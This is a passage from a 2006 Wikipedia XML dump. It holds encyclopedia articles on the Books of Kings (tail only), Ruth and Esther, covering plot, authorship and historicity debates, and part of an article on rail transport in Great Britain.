** [http://www.mechon-mamre.org/e/et/et09b01.htm 2 Kings at Mechon-Mamre] (Jewish Publication Society translation)
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15753 Melachim I - Kings I (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15754 Melachim II - Kings II (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 
*[[Christianity|Christian]] translations:
** {{biblegateway|1|Kings}}
** {{biblegateway|2|Kings}}


Related article:
* [http://www.jewishencyclopedia.com/view.jsp?artid=226&amp;letter=K&amp;search=Kings Books of Kings article]  (Jewish Encyclopedia)  

{{eastons}}

[[Category:Nevi'im|Kings, Books of]]
[[Category:Old Testament books|Kings]]

[[zh-min-nan:Lia̍t-ông-kí]]
[[cs:1. kniha královská]]
[[de:1. Buch der Könige]]
[[fr:Premier livre des Rois]]
[[ko:열왕기 상]]
[[id:1 Raja-Raja]]
[[he:ספר מלכים]]
[[jv:I Para Raja]]
[[nl:I en II Koningen]]
[[ja:列王記]]
[[ru:Третья книга Царств]]
[[sk:Knihy kráľov]]
[[fi:Ensimmäinen kuninkaiden kirja]]
[[sv:Första Kungaboken]]
[[yi:מלכים]]
[[zh:列王紀上]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Ruth</title>
    <id>4381</id>
    <revision>
      <id>41301629</id>
      <timestamp>2006-02-26T11:22:17Z</timestamp>
      <contributor>
        <username>JzG</username>
        <id>760284</id>
      </contributor>
      <comment>/* External links */ Link added at the top, not in alpha order, ALL CAPS, and by an anon.  Scepticism engaged.</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Ruth''' is a book in the [[Hebrew Bible]] known to Jews as the [[Tanakh]] and to Christians as the [[Old Testament]].

== The story ==

'''Ruth''' ('''&amp;#1512;&amp;#1493;&amp;#1468;&amp;#1514;''' &quot;Compassion&quot;, [[Standard Hebrew]] '''Rut''', [[Tiberian Hebrew]] '''Rû&amp;#7791;''') is a [[Moabite]] woman whose [[father-in-law]] and [[mother-in-law]], Elimelech and Naomi had settled in the land of [[Moab]]. Elimelech died there, and his two sons married, Mahlon taking Ruth as his wife, and Chilion taking Orpah, both women of Moab; both sons likewise died.

[[Naomi (Bible)|Naomi]] heard that the famine in Judah had passed, and determined to return. Ruth accompanied her mother-in-law to Bethlehem, at the beginning of barley harvest, in a state of poverty. Elimelech had had an inheritance of land among his brethren, but, unless a ''Go'el'', a redeemer, could be found, Naomi would be compelled to sell it. Elimelech had a prosperous relative in Bethlehem whose name was [[Boaz]], and who was engaged in the harvest. Ruth went to glean in his fields, and, after he had spoken kindly to her and shown her some favors, she, acting on the advice of her mother-in-law, approached Boaz.

Boaz was attracted to her, but informed her that there was a kinsman nearer than he who had the first right to redeem the estate of Elimelech, and that it would be necessary for that kinsman to renounce his right before he (Boaz) could proceed in the matter. Accordingly Boaz called this kinsman, and told him of the situation, and of the kinsman's right to redeem the estate and to marry Ruth. The kinsman declared that he did not desire to do so, and drew off his shoe, the ritual way of showing that he had renounced his rights in favor of Boaz. Boaz thereupon bought the estate from Naomi, married Ruth, and became by her the father of Obed, who in due time became the father of Jesse, the father of [[King David]].

== Origin of the book ==

There is some debate about when and why the book was written. According to many scholars, it was originally a part of the [[Book of Judges]], but it was later separated from that book and made independent. It is the shortest book in the Hebrew Bible, the books of the [[Minor Prophets]] being considered a single book. The language and description seem to make the authorship contemporary with that of Judges, and its opening verse explicitly places it in that period. On the other hand, the message of the book, which shows acceptance of marrying converts to [[Judaism]], has been used to suggest that the book was written during the early days of the Persian period. At that time, [[Ezra]] condemned intermarriages and, according to his eponymous book, forced the Israelites to abandon their non-Jewish wives. According to this theory, the book was written in response to Ezra's reform and in defense of these marriages by alleging that [[David]] (commonly seen as Israel's greatest king) is a descendant of one. The lineage connection between Ruth and David is very important in the Christian faith for [[Jesus Christ]] was born of the [[virgin]] [[Mary]] who was of the lineage of David thus making Ruth connected to Jesus Christ.

== Ruth in the rabbinic Jewish tradition ==
The opinions of some rabbis in the [[Talmud]]ic tradition claim that Ruth was the daughter of the Moabite king [[Eglon]], who figured briefly in the [[Book of Judges]]. Like many other Rabbinic exegetic identifications of certain Biblical characters with other Biblical characters, this assertion has no support from the plain meaning of the text.


==External links==
*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et2901.htm ''Ruth'' at Mechon Momre] ([[Jewish Publication Society of America Version]])
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15778 Rut - Ruth - Job (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/08_ruth.htm ''Ruth'' at The Great Books] ([[New Revised Standard Version]])
** {{biblegateway||Ruth}}



Related articles:
*[http://www.jewishencyclopedia.com/view.jsp?artid=483&amp;letter=R Jewish Encyclopedia]: ''Ruth'' 
*[http://www.hypertextbible.org/ruth/ Study notes on ''Ruth''] by Tim  Bulkeley, University of Auckland
*[http://plymouthbrethren.org/passage.asp?passage_id=8 Ruth from the Biblical Resource Database]
*[http://www.biblaridion-online.net/zine-online/zine05q2/bibzine05q2_p3.html ''Biblaridion magazine'':]    Ruth and the law of kindness

-----
{{eastons}}

[[Category:Converts to Judaism|Ruth, Book of]]
[[Category:Ketuvim|Ruth, Book of]]
[[Category:Moab]]
[[Category:Old Testament books|Ruth]]

[[zh-min-nan:Lō·-tek-kì]]
[[cs:Kniha Rút]]
[[de:Buch Rut]]
[[fr:Livre de Ruth]]
[[ko:룻기]]
[[he:מגילת רות]]
[[nl:Boek Ruth]]
[[ja:ルツ記]]
[[no:Ruts bok]]
[[nn:Ruts bok]]
[[pl:Księga Rut]]
[[sk:Rút]]
[[fi:Ruutin kirja]]
[[sv:Ruts bok]]
[[zh:路得記]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Esther</title>
    <id>4382</id>
    <revision>
      <id>40491979</id>
      <timestamp>2006-02-20T23:29:00Z</timestamp>
      <contributor>
        <username>Kuratowski's Ghost</username>
        <id>117863</id>
      </contributor>
      <comment>/* Historical reading */ source</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Esther''' is a book of the [[Tanakh]] ([[Hebrew Bible]]) and of the [[Old Testament]].

The ''Book of Esther'' or the '''Megillah''' is the basis for the [[Jewish]] celebration of [[Purim]]. Its full text is read aloud twice during the celebration.

==Setting==
The Biblical ''Book of Esther'' is set in the third year of [[Ahasuerus]], a king of Persia usually identified with [[Xerxes I of Persia|Xerxes I]], although other identifications have been suggested. It tells a tale of palace intrigue, attempted [[genocide]] and a brave Jewish queen.

==Plot Summary==
[[Image:Göttingen-Esther.Rolle.0.JPG|thumb|left|Book of Esther (Megillah)]]

In the story, Ahasuerus is married to [[Vashti]], whom he puts aside after she rejects his offer to visit him during a feast. [[Mordecai]]'s cousin Hadassah is selected from the candidates to be Ahasuerus's new wife and assumes the &quot;throne name&quot; of [[Esther]].  His prime minister [[Haman (Judaism)|Haman]] (an [[Agagite]]) and Haman's wife [[Zeresh]] plot to have Ahasuerus kill all the [[Jew]]s, without knowing that Esther is Jewish.  Esther saves the day for her people: at the risk of endangering her own safety, she warns Ahasuerus of Haman's plot to kill all the Jews. Haman is hanged on the gallows he had had built for Mordecai, and Mordecai becomes prime minister in Haman's place.  However, Ahasuerus's edict decreeing the murder of the Jews cannot be rescinded, so he issues another edict allowing the Jews to take up arms and kill their enemies, which they do.

==Authorship and date==
''Esther'' is usually dated to the 3rd or 4th century B.C.E. Jewish tradition regards it as a redaction by the [[Great Assembly]] of an original text written by [[Mordecai]]. The Greek additions to Esther are dated to the 2nd century B.C.E.

==Debate over historicity==
The historical accuracy of the ''Book of Esther'' is disputed.

As early as the eighteenth century, the lack of corroboration of any of the details of the story of the Book of Esther with what was known of Persian history from classical sources led some scholars to doubt that the book was historically accurate.  It was argued that the form of the story seems closer to that of a romance than a work of history, and that many of the events depicted therein are implausible and unlikely.

In the late nineteenth century, some critics developed the theory that the Book of Esther actually was a story out of [[Babylonian mythology]], representing the triumph of the Babylonian deities Marduk and Ishtar over the deities of [[Elam]].  Although this view is not widely held by scholars today, it remains well known.

Traditionalists have fought back, arguing that Esther can be seen to derive from real history.  To do this, a variety of theories have been derived.  While some prefer to try to find substantiation for the traditional identification of Ahasuerus with [[Xerxes I]], others have argued for different identifications.  

For the last hundred and fifty years, most scholars have seen the Book of Esther as a work of fiction, although some have joined with traditionalists in attempting to find a historical basis for the story.  Some Christian readers have also tried to see the story as a Christian allegory, in the same vein as the [[Song of Solomon]]. The various major readings are considered separately in the sections that follow:

==Interpretation of Esther as an allegory of Babylonian Mythology==
The ''History of Religions'' school of thought, popular in the late 19th and early 20th centuries, argued against the historicity of the Bible by drawing comparisons between Biblical narratives and pagan myths. In particular, these scholars drew comparisons between individuals in the ''Book of Esther'' and various real and alleged Babylonian and Elamite gods and goddesses:

*Esther was equated with the similarly sounding [[Ishtar]]. Her original Hebrew name ''Hadassah'' was compared with Akkadian ''hadashatu'' said to be a title of Ishtar meaning &quot;bride&quot;. The custom of preparing [[hamantaschen]] at Purim is reminiscent of a description of Ishtar in [[Jeremiah]] 7:18, when it was customary &quot;to make cakes to the Queen of Heaven.&quot; 

*Mordecai was equated with [[Marduk]]. Marduk is a cousin of Ishtar in Chaldean mythology, as was Mordecai a cousin of Esther.

*Vashti was said to be an [[Elam]]ite goddess named Mashti.

*Haman was said to be an Elamite god named Uman or Human (or other variations) or alternatively a Babylonian demon.

*The festival of Purim was equated with various real and conjectural pagan festivals, including an alleged Elamite or Babylonian festival marking the victory of Ishtar and Marduk over Uman and Mashti similar to the triumph of Esther and Mordecai over their rivals Haman and Vashti. Other suggestions were: the Babylonian New Year festival (Sumerian ''Zagmuk'', Akkadian ''Akitu'', called ''Sacaea'' by [[Berosus]]) honouring Marduk -it was suggested that ''purim'' (&quot;lots&quot;) originally referred to a belief that the gods chose one's fate for the year by lots; the Persian festival of [[Farvardigan]]; or the Greek festival of [[Pithoigia]] (&quot;wine flask opening&quot;) - it was noted that Hebrew for wine press is ''purah'' resembling ''purim''.

These views have largely been rejected by later scholars:

*Ishtar was well known to the Jews who opposed her worship, moreover her name in Hebrew is [[Ashtoreth]] which is phonetically unrelated to Esther despite the superfical similarity when transliterated into English (consonantal root ''aleph-shin-tav-resh'' vs ''ayin-samech-tav-resh''). Esther is most commonly understood to be related to the Persian word for star and the Median word for myrtle, and the Hebrew name Hadassah means [[myrtle]]. (See ''[[Esther]]'' for a discussion of the meaning of the name.) Akkadian ''hadashatu'' is not a standard title of Ishtar, it occurs once in a description of Ishtar as a &quot;new bride&quot; and its meaning is &quot;new&quot; not &quot;bride&quot;. It is a cognate of Hebrew ''hadash'' (with a guttural ''h'') and is phonetically unrelated to &quot;Hadassah&quot; (consonantal root ''chet-dalet-shin'' vs ''he-dalet-samech''). Moreover hamantaschen originated amongst Jews of Eastern Europe in relatively recent times.

*The name Mordecai is indeed most commonly connected with that of the god Marduk but its meaning is understood to be &quot;[servant] of Marduk&quot;. It is considered equivalent to ''Marduka'' or ''Marduku'', well attested in the Persepolis texts as a genuine name of the period. Jewish tradition relates that it was a replacement of his Hebrew name Bilshan. (Similar accounts of Jews in exile being assigned names relating to Babylonian gods is seen in the [[Book of Daniel]].) Babylonian gods and goddesses are indeed organized into familes making many including Marduk and Ishtar some form of cousins but this is never a point explicitly stated in Babylonian texts.

*An Elamite goddess named Mashti is purely conjectural and unattested in sources, whereas &quot;Vashti&quot; can be understood as a genuine Persian name meaning &quot;beautiful&quot;.

*Elamite theophoric elements such as ''Khuban'', ''[[Khumban]]'' or ''Khumma'' are known but are pronounced with an initial guttural consonant and not as Uman or Human, and are phonetically unrelated to the Persian name Haman meaning &quot;magnificent&quot;. The Babylonian demon is named ''Humbaba'' or ''Huwawa'' also pronounced with an initial guttural consonant ''kh'' and unrelated to Haman.

*An Elamite or Babylonian festival marking a victory of Ishtar and Marduk over alleged Uman and Mashti is purely conjectural and unattested in sources. The Babylonian New Year occurs at a very different date to Purim (in the month of ''Nisan'' not ''Adar''). A decision of fate by lots by the gods is not attested in any sources. [[Farvardigan]] was a five day commeration of the dead bearing no resemblance to Purim. Pithoigia also occurs at a different time to Purim and although Purim is celebrated with wine drinking this not its focus; moreover the plural of the Hebrew for wine press is ''puroth'' not ''purim''.

==Historical reading==
Those arguing in favour of an historical reading of Esther, who usually write from a traditionalist Jewish or Christian perspective, most commonly identify Ahasuerus with [[Xerxes I]] (ruled [[486 BC|486]] - [[465 BC|465 B.C.E.]]) or occasionally with [[Artaxerxes II of Persia|Artaxerxes II]] (ruled [[405 BC|405]] - [[359 BC|359 B.C.E.]]).

The [[Hebrew language|Hebrew]] ''Ahasuerus'' is mostly likely derived from [[Persian language|Persian]] ''Khshayarsha'', the origin of the [[Greek language|Greek]] ''Xerxes''. The Greek historian [[Herodotus]] wrote that Xerxes sought his [[Harem (household)|harem]] after being defeated in the [[Greco-Persian Wars]]. He makes no reference to individual members of the harem with the exception of a domineering [[Queen consort]] [[Amestris]], a daughter of one of his generals, Otanes. ([[Ctesias]] however refers to a father-in-law and general of Xerxes named Onaphas). Amestris has often been identified with [[Vashti]] by those arguing the historical reading. The identification is problematic however - Amestris remained a powerful figure well into the reign of her son, [[Artaxerxes I]] while Vashti is portrayed as dismissed in the early part of Xerxes's reign. (Alternative attempts have been made to identify her with [[Esther]], although Esther's father is a Jew named Abihail and she is portrayed as merely one of numerous concubines in Ahasuerus' harem.) The name ''Marduka'' or ''Marduku'' (considered equivalent to ''Mordecai'') has been found as the name of officials in the Persian court in thirty texts from the period of Xerxes I and his father Darius, and may refer to up to four individuals with the possibility that one of these is the Biblical Mordecai.

The Septuagint version of Esther however translates the name Ahasuerus as ''Artaxerxes'' - a Greek name derived from the [[Persian language|Persian]]: ''Artakhshatra''. [[Josephus]] too relates that this was the name by which he was known to the Greeks. It should be noted, however, that a version of the name Artaxerxes, distinct from the Hebrew for Ahasuerus, and can be found in the Books of Ezra and Nehemiah.  Nevertheless, some have attempted to identify Ahasuerus with one of the Kings Artaxerxes.  Identification as [[Artaxerxes II of Persia|Artaxerxes II]] has been more popular than with [[Artaxerxes I of Persia|Artaxerxes I]] (ruled [[465 BC|465]] - [[424 BC|424 B.C.E.]]) however the latter had a Babylonian concubine, [[Kosmartydene]], who was the mother of his son [[Darius II of Persia|Darius II]] (ruled [[424 BC|424]] - [[405 BC|405 B.C.E.]]). Jewish tradition relates that Esther was the mother of a King Darius and so some identify Ahasuerus with Artaxerxes I and Esther with Kosmartydene.

Based on the view that the [[Ahasuerus]] of the ''[[Book of Tobit]]'' is identical with that of the ''Book of Esther'', some have also identified him as Nebuchadnezzar's ally [[Cyaxares]] (ruled [[625 BC|625]] - [[585 BC|585 B.C.E.]]). In certain manuscripts of Tobit the former is called ''Achiachar'' which like the [[Greek language|Greek]]: ''Cyaxares'' is thought to be derived from [[Persian language|Persian]]: ''Akhuwakhshatra''. Depending on the interpretation of ''Esther'' 2:5-6, Mordecai or his great-grandfather Kish was carried away from [[Jerusalem]] with [[Jeconiah]] by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]], in [[597 BC|597 B.C.E]]. The view that it was Mordecai would be consistent with the identification of Ahasuerus with Cyaxares. Identifications with other Persian monarchs have also been suggested.

Jacob Hoschander (''The Book of Esther in the Light of History'', Oxford University Press, 1923) has argued that evidence of the historicity of Haman and his father Hamedatha is seen in ''Omanus'' and ''Anadatus'' mentioned by [[Strabo]] as being honoured with [[Anahita]] in the city of [[Zela]]. Hoschander argues that these were not deities as Strabo supposed but garbled forms of &quot;Haman&quot; and &quot;Hamedatha&quot; who were being worshipped as martyrs. The names are indeed unattested in Persian texts as gods. (An alternative explanation connects ''Omanus'' with the Zoroastrian term [[Vohu Mana]].)

==Narrative reading==
{{sectstub}}
Most modern scholars consider the Book of Esther a work of fiction. The name Ahasuerus is seen to be based on Xerxes but the exploits of a real Persian king do not enter into the ''Book of Esther'', which is a fictional tale of palace intrigue, attempted [[genocide]], and a brave Jewish queen. Some have read the story as a [[parable]] of quintessentially assimilated Jews who discover that they are targets of anti-Semitism, but are also in a position to save themselves and their fellow Jews.  In support of the idea that the story is a fiction, scholars have pointed to the many improbabilities of the story (that Esther is taken from the house of the Jew Mordecai, but is not known to be a Jew; that the edicts of the Medes and Persians cannot be rescinded; that Ahasuerus would agree to kill an entire people without being told their name; that Ahasuerus would give the Jews leave to murder thousands of their enemies) as suggesting that it is a fictional story.  They also note that none of the events depicted in Esther are attested from any other source.  There is some disagreement about the degree of familiarity the author of Esther shows with its setting in the Persian court - some scholars have used this as evidence for the book's fictionallity, while others have suggested that these background aspects are among the more historically accurate parts of the book.

==Allegorical Reading==
{{sectstub}}
Some Christian readers consider this story to contain an allegory, representing the interaction between the church as 'bride' and [[God]].  This reading is related to the allegorical reading of the [[Song of Solomon]].

==Relation To Other Books In the Bible==
''Esther'' is (in the Hebrew version) one of only two books of the Bible that do not directly mention [[God]] (the other is [[Song of Songs]]). It is the only book of the [[Tanakh]] that is not represented among the [[Dead Sea scrolls]].  It has often been compared to the first half of the [[Book of Daniel]] and to the [[deuterocanonical]] Books of [[Book of Tobit|Tobit]] and [[Book of Judith|Judith]] for its subject matter.

==Additions to ''Esther''==
An additional six chapters appear interspersed in ''Esther'' in the [[Septuagint]], the Greek translation, which then was used by [[Jerome]] in compiling the Latin [[Vulgate]]; additionally, the Greek text contains many small changes in the meaning of the main text. The extra chapters include several prayers to God, perhaps because it was felt that the above-mentioned lack of mention of God was inappropriate in a holy book. Jerome recognized them as later additions, placing them at the end of his work.

By the time ''Esther'' was written, the foreign power visible on the horizon as a future threat to Judah was the [[Macedon|Macedonia]]ns of [[Alexander the Great]], who defeated the Persian empire about 150 years after the time of the story of Esther; the [[Septuagint]] version noticeably calls Haman a Macedonian where the Hebrew text describes him as an Agagite.

The canonicity of these Greek additions has been a subject of scholarly disagreement practically since their first appearance in the [[Septuagint]] -  [[Martin Luther]], being perhaps the most vocal [[Reformation]] era critic of the work, considered even the original Hebrew version to be of very doubtful value. Luther's complaints against the book carried past the point of scholarly critique, and led in part to the complaint of anti-semitism frequently made against him. The Roman Catholic [[Council of Trent]], the summation of the Roman Catholic Counter-Reformation, declared the entire book, both Hebrew text and Greek additions, to be canonical. While modern Roman Catholic scholars openly recognize the Greek additions as clearly being additions to the text, the ''Book of Esther'' is used twice in commonly used sections of the Catholic Lectionary. In both cases, the text used is not only taken from a Greek addition, the readings also are the prayer of [[Mordecai]], and nothing of [[Esther]]'s own words is ever used. The Eastern Orthodox Church uses the Septuagint version of ''Esther'', as it does for all of the Old Testament.

==Reinterpretations of the story==
The classic Hollywood film version of the story is the [[1960 in film|1960]] ''Esther and the King'' starring [[Joan Collins]] and [[Richard Egan (actor)|Richard Egan]] and directed by [[Raoul Walsh]].

There are several paintings depicting Esther, including one by [[John Everett Millais|Millais]].

==External links==
*[http://Queen-Esther-Movie.com Queen-Esther-Movie.com : All About Esther]

{{wikisourcepar|Bible, English, King James, Esther}}
===Text and translations===
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15782 Esther (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  
**[http://www.mechon-mamre.org/i/t/t33.htm Mechon Mamre] Full text, [[Aleppo Codex]]: text of ''Esther'' in Hebrew

*[[Christian]] translations:
** {{biblegateway||Esther}}
**[http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__3-Esther.html The ''Book of Esther''] Full text, [[KJV]], (also available at [http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__3-Esther_.html Arabic])

===Introduction and analysis===
====Early 20th century views====
*[http://www.jewishencyclopedia.com/view.jsp?artid=483&amp;letter=E ''The 1910 Jewish Encyclopedia'']: Early 20th century critical perspective as well a discussion of traditional Jewish views of Esther.
*[http://12.1911encyclopedia.org/E/ES/ESTHER.htm ''The 1911 Encylopedia Britannica'']: Early 20th century critical perspective.
*[http://www.newadvent.org/cathen/05549a.htm ''The 1917 Catholic Encyclopedia'']: Counter arguments to early 20th century criticism.

====Modern scholarship====
*[http://www.two-age.org/recommended_works/Books/recommended%20esther.htm Recommended texts on Esther]
*[http://www.biblecentre.net/reference/ot_intro/intro233.html Introduction to the Old Testament: Esther]
*[http://www.myjewishlearning.com/holidays/Purim/TO_Purim_History/Esther_830.htm Extract from The JPS Bible Commentary: Esther by Adele Berlin]: Liberal Jewish view.
*[http://www.aishdas.org/toratemet/en_esther.html The Historicity of Megillat Esther]: Gil Student's survey of scholarship supporting an historical reading of Esther
*[http://www.dabar.org/ISBE-1915/Isbe-e/Esther-BookOf.html ''Esther, Book of'']: A Christian perspective of the book.


[[Category:Deuterocanonical books|Esther (parts)]]
[[Category:Ketuvim|Esther, Book of]]
[[Category:Old Testament books|Esther]]

[[ar:سفر استر]]
[[bg:Книга за Естир]]
[[ca:Llibre d'Ester]]
[[cs:Kniha Ester]]
[[de:Buch Ester]]
[[fr:Livre d'Esther]]
[[ko:에스텔 (구약성서)]]
[[id:Ester]]
[[he:מגילת אסתר]]
[[jv:Ester]]
[[nl:Esther]]
[[ja:エステル記]]
[[pl:Księga Estery]]
[[pt:Livro de Ester]]
[[ru:Книга Есфирь]]
[[fi:Esterin kirja]]
[[sv:Esters bok]]
[[zh:以斯帖記]]</text>
    </revision>
  </page>
  <page>
    <title>Rail transport in Great Britain</title>
    <id>4384</id>
    <revision>
      <id>41314868</id>
      <timestamp>2006-02-26T14:19:00Z</timestamp>
      <contributor>
        <ip>82.39.87.139</ip>
      </contributor>
      <text xml:space="preserve">:''For transport in [[Northern Ireland]], see [[rail transport in Ireland]]''

[[image:rail.diesel.wapleybridge.750pix.jpg|thumb|right|250px|Class 180 Multiple Unit of [[First Great Western]] at speed near [[Yate]], Bristol, England. Top speed is 200 km/h (125 mph)]]

The '''[[United Kingdom|British]] [[railway]] system''' is the oldest in the world. It consists of almost 10,274 miles (16,536 [[kilometres|km]]) of [[standard gauge]] track, of which 3,062 miles (4,928 km) is electrified.

==Historical overview==
{{main|History of rail transport in Great Britain}}

Great feats of engineering were performed in its creation.  Examples from the [[Victorian era]] are the building of the [[Forth Bridge (railway)|Forth Bridge]], [[1890]], or the replacement of 177 miles (285 km) of [[broad gauge]] rail with [[standard gauge]] in a single weekend from [[May 21]], [[1892]].  Such feats are not things of the past; recent and current examples are the building of the [[Channel tunnel]] for the link to the Continental railway systems, and the [[Channel Tunnel Rail Link]] from London to the tunnel.

The system was originally built as a patchwork of local rail links operated by small private railway companies. Over the course of the [[19th century|19th]] and early [[20th century|20th centuries]] these amalgamated or were bought by competitors until only a handful of larger companies remained (see [[railway mania]]). The entire network of was brought under government control during the [[World War I|first World War]], and a number of advantages of amalgamation and planning were revealed. However, the government resisted calls for the [[nationalization]] of the network (first proposed by [[William Gladstone]] as early the 1830s). Instead, from [[January 1]] [[1923]] the remaining companies were [[Railways Act 1921|grouped]] into the &quot;big four&quot;, the [[Great Western Railway]], the [[London and North Eastern Railway]], the [[London, Midland and Scottish Railway]] and the [[Southern Railway (UK)|Southern Railway]] companies. These were joint stock public companies and they continued to run the railway system until [[December 31]] [[1947]]. 

The growth in road transport during the [[1920s]] and [[1930s]] greatly reduced revenue for the rail companies. Rail companies accused the government of favouring road haulage through the subsidised construction of roads. The railways entered a slow decline owing to a lack of investment and changes in transport policy and lifestyles. During the [[World War II|second World War]] the companies' managements joined together, effectively forming one company. A maintenance backlog developed during the war, and the private sector only had two years to deal with this after the war ended. After [[1945]], for both practical and ideological reasons, the government decided to bring the rail service into the [[public sector]].

From the first moment of 1948, the &quot;big four&quot; were [[nationalization|nationalised]] to form [[British Railways]] (latterly &quot;British Rail&quot;) under the control of the [[British Transport Commission]]. Although BR was a single entity, it was divided into six (later five) regional authorities in accordance with the existing areas of operation. Though there were no initial changes to the service, usage increased and the network became profitable. Regeneration of track and stations was completed by 1954. In the same year, changes to the British Transport Commission, including the privatisation of road haulage, ended the coordination of transport in the UK. Rail revenue fell and in 1955 the network again ceased to be profitable. The mid-[[1950s]] saw the rapid introduction of diesel and electric rolling stock, however the expected transfer back from road to rail did not occur and losses began to mount.

The desire for profitability led to a major reduction in the network during the mid-[[1960s]] after the [[Stedeford Committee]], chaired by Dr [[Richard Beeching]], reviewed the railway network (also known as the &quot;[[Beeching axe]]&quot;). Many branch lines, particularly in rural areas, were closed because they were deemed inefficient. The closure of stations serving rural communities removed much feeder traffic from the main line passenger services. The closure of many freight depots that had been used by larger industries such as [[coal]] and [[iron]] led to almost all freight transferring to road haulage. This neutralised any savings made by the closures, and the network began to decline again. The closures were extremely unpopular with the general public at that time, and remain so today.

Although passenger services experienced a brief renaissance with the introduction of high-speed inter-city trains in the [[1970s]], the decline of the rail network continued. Passenger levels have fluctuated since this time, increasing during periods of economic growth and falling during recessions. The [[1980s]] saw severe cuts in government funding and above-[[inflation]] increases in fares. The service became more cost-effective but increasingly unreliable. In the early [[1990s]] the five geographical Regions were replaced by a Sector organisation, where passenger services were organised into Inter City, Network SouthEast, Other Provincial Services sectors, etc. This new organisation showed promise of being a more efficient organisation of the railways, but within a couple of years of its implementation the structure was fragmented by the [[privatisation]] process. 

[[Privatisation of British Rail|Railway operations were privatised]] during [[1994]]-[[1997]]. Ownership of the track and infrastructure passed to a company called [[Railtrack]], whilst passenger operations were franchised to individual private sector operators (originally there were 25 franchises) and the freight services sold outright (6 companies were set up, but 5 of these were sold to the same buyer). The government claimed that privatisation would see an improvement in passenger services: this outcome has not yet been realised, although passenger levels initially increased to the level they had been at in the late-1980s. A series of major rail accidents after privatisation &amp;mdash; at [[Ladbroke Grove rail crash|Ladbroke Grove]], [[Hatfield rail crash|Hatfield]], [[Potters Bar rail crash|Potters Bar]], and [[Great Heck rail crash|Selby]] &amp;mdash; caused widespread loss of confidence in the safety of rail travel.

After the Hatfield crash, speed limits were drastically reduced throughout Britain and train travel was seriously disrupted for months.  Railtrack came close to [[bankruptcy]] due to the enormous cost of additional safety measures and was effectively re-nationalised, when ownership of the railway system was transferred to the newly-created &quot;not for profit&quot; company limited by guarantee,  [[Network Rail]] on [[October 3]], [[2002]]. Most of the private rail companies are heavily subsidised but much of the investment has not gone into regeneration or modernisation. However, the government has resisted public pressure to return the network to the [[public sector]].

==Geography &amp; infrastructure==
Great Britain is an island roughly triangular with an acute apex. The capital, [[London]], is in the south-east. Main railway lines radiate from London in many directions; the major lines are discussed elsewhere (''see linkbox, below''). 

At the end of September 2003 the first part of the [[Channel Tunnel Rail Link]], a high speed link to the [[Channel Tunnel]] and on to [[France]] and [[Belgium]], was completed, significantly adding to the rail infrastructure of the country. The rest of the link, from north Kent to [[St Pancras railway station]] in London, is planned to open in 2007. A major programme of remedial work on the [[West Coast Main Line]] is ongoing.

{{Seealso|List of railway lines in Great Britain}}

==Passenger services==

Passenger train services in the UK are, in the main, structured on the basis of regional franchises awarded by the [[Department for Transport]] (DfT) to [[List of UK Train Operating Companies|Train Operating Companies]]. There were initially 25 such franchises from April 2004, but the number of different operating companies is smaller as some firms including FirstGroup, National Express and Stagecoach have more than one franchise. In addition some franchises have since been combined. There are a number of local or specialised rail services franchised by local government or operated on an 'open access' basis outside the franchise arrangements. Examples include the [[Heathrow Express]] and [[Hull Trains]].

In the 2002&amp;ndash;3 operating year, franchised services provided 976 million journeys totalling 39.7 billion passenger kilometres of travel, which was an increase over 1986&amp;ndash;7 of 32% in journeys (from 738 million) and 29% in passenger kilometres (from 30.8 billion). On the other hand, taking a longer term view the number of journeys in 2002&amp;ndash;3 was lower than for the 1950&amp;ndash;60 period; the passenger kilometres figure, after being a flat from 1965&amp;ndash;1995, surpassed the 1947 figure for the first time in 1998, and continues to rise steeply.

The key index used to assess passenger train performance is the ''Public Performance Measure'' which combines figures for punctuality and reliability. Performance against this metric has been expecially poor since mid-2000. From a base of 90% of trains arriving on time in 1998, the measure dipped to 75% in mid 2001, and by the end of the 2002&amp;ndash;3 period, had only recovered to 80%.

The real increase in rail fares after accounting for [[inflation]] over the 1995&amp;ndash;2004 period was 4.7%.

Average rolling stock age &amp;mdash; thought to be an indicator of passenger comfort &amp;mdash; fell slightly from the third quarter of 2001&amp;ndash;2 to the third quarter of 2003&amp;ndash;4, from 20.7 years old, to 19.3 years old.

See [[List of UK Train Operating Companies]]

==Freight services==

There are four main freight operating companies, the largest of which is [[English, Welsh and Scottish Railway]] (EWS). There are also several smaller independent operators including [[Mendip Rail]]. Types of freight carried include ''[[intermodal freight transport|intermodal]]'' &amp;mdash; in essence containerised freight &amp;mdash; and coal, metals, oil, and construction material. Freight services have been in steady decline since the [[1950s]], although the [[Department for Transport]]'s ''Transport Ten Year Plan'' calls for an 80% increase in rail freight measured from a 2000&amp;ndash;1 base. 

Statistics on freight are specified in terms of the weight of freight lifted, and the ''net tonne kilometre''. being freight weight multiplied by distance carried. 87 million tonnes of freight was lifted in the 2002&amp;ndash;3 period, against 138 million tonnes in 1986&amp;ndash;7, a decrease of 37%. 18.7 billion net rail kilometres of freight movement were recorded in 2002&amp;ndash;3, against 16.6 billion in 1986&amp;ndash;7, an increase of 13%. 

A symbolic loss to the UK rail freight industry was the custom of the [[Royal Mail]], which from 2004 is discontinuing use of its 49-train fleet, and switching to road haulage after a near 170 year preference for trains. Red liveried [[mail train]]s have long been part of the tradition of the UK railways, not least because of the film ''[[Night Mail]]'', for which [[W. H. Auden]] wrote  the poem of the same name.

{{Britishfreightoperators}}

==Leasing services==
